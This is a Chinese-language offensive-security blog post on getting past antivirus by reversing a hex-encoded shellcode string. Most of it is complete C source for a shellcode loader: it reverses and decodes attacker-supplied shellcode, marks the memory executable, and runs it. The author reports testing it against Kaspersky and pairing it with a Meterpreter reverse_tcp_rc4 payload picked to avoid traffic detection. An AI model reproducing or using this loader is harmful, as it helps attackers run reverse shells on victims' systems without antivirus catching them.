idiotc4t's blog
搜索文档…
GitBook 提供支持
反转字符串绕杀软

简介

我也不想写什么花里胡哨的东西,就让我水一篇吧。
就继续延用这玩意把SimpleShellcodeInject,我还挺喜欢用这种shellcode传入方式的,让我们在这个基础上添加功能吧。
为了节省我们的时间就随便加一个能自动化实现的shellcode混淆方式(偷懒,手动狗头),就直接添加一个字符串翻转吧。

思路

直接python一行代码翻转字符串。
在加载器内翻转字符串。
1
int p = 0;
2
3
for (int i = strlen(str) - 1; i >= 0; i--)
4
{
5
temp[p++] = str[i];
6
}
Copied!
然后执行老哥的ssi,这里遇到一个坑,tm的vc6根本没有malloc(略略略)。
然后请出我们的卡巴斯基。
虽然我们古典主义脚本小子特别喜欢弹窗(更多时候弹calc),这里我们再测一下Meterpreter。
防止在流量检测的时候被杀掉,我们使用windows/meterpreter/reverse_tcp_rc4这个payload。
略略略。

代码

1
// hex.cpp : Defines the entry point for the console application.
2
//
3
4
#include "stdafx.h"
5
6
7
8
9
int main(int argc, char* argv[]) {
10
11
char *str = argv[1];
12
13
14
unsigned int char_in_hex;
15
16
unsigned int iterations = strlen(str);
17
unsigned int memory_allocation = strlen(str) / 2;
18
19
char* temp = (char*)VirtualAlloc(0, memory_allocation, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
20
int p = 0;
21
22
for (int i = strlen(str) - 1; i >= 0; i--)
23
{
24
temp[p++] = str[i];
25
}
26
27
char* shellcode = (char*)temp;
28
29
for (i = 0; i < iterations - 1; i++) {
30
sscanf(shellcode + 2 * i, "%2X", &char_in_hex);
31
shellcode[i] = (char)char_in_hex;
32
}
33
34
35
void* exec = VirtualAlloc(0, memory_allocation, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
36
memcpy(exec, shellcode, memory_allocation);
37
VirtualProtect(exec, memory_allocation, PAGE_EXECUTE, NULL);
38
39
(*(void (*WINAPI)()) exec)();
40
41
return 0;
42
}
43
Copied!
最近更新 1yr ago
复制链接